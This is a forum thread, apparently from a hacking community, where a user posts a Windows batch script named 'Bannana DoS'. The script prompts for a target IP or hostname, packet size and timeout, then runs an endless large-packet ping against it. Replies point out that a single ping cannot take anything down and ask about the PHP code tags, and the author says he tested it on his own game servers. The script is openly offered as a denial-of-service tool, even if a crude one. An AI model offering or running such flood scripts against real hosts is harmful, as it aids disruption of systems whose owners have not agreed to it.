[bannanagamer]

Here is just a simple DoS script I made. This script for a batch file isn't anything big at all, but its where I am going to make my start here on the Hack Community.

Code:

@echo off title Bannana DoS - Idle color b cls echo. echo ______ _______ _______ echo -- ( __ \ ( ___ )( ____ \ -- echo -- ( ( \ )( ( ) )( ( \/ -- echo -- ( ) ) )( ) ( )( (_____ -- echo -- ( ) ( )( ) ( )(_____ ) -- echo -- ( ) ) )( ) ( ) ) ) -- echo -- ( (__/ )( (___) )/\____) ) -- echo -- (______/ (_______)\_______) -- echo. set /p conn=--[IP/DNS]: echo. echo Usage: Max 65500 set /p size=--[Packer]: echo. echo Usage: IPv4 = 4 , IPv6 = 6 set /p meth=--[Method]: echo. echo Usage: Time in milliseconds to wait for each reply. set /p time=--[Timeout]: echo. echo. title Bannana DoS - Attacking color c echo Running Settings on Script. echo. ping %conn% -t -l %size% -%meth% -w %time%

Please I do not wan't any hate. If its terrible please give me some options to improve this batch. I intended it to be used for security reasons, but we are all humans.

Give credit where it's due.
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[Mst0P]

How is this a batch script?

[Inori]

I know PHP code tags look cooler but it confuses the hell out of everyone. please use regular code tags..

[chmod]

PHP Code:

ping %conn% -t -l %size% -%meth% -w %time%

Seriously? Not to "hate" on your post you won't take down anything with a simple ping even with the maximum packet size all you're going to do is get endless replies.

[Boomslang]

One question. Why there is a <?php in a batch code?

[bannanagamer]

Seriously? Not to "hate" on your post you won't take down anything with a simple ping even with the maximum packet size all you're going to do is get endless replies.

I haven't used it for anything like that but I have used it to test Steam servers. I host my own and was happy to know I wasn't protected on IPv6. Issue solved with the firewall and now I can't get through with this. Its better then a song, if I might add.

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One question. Why there is a <?php in a batch code?

I used the [ php ] tag.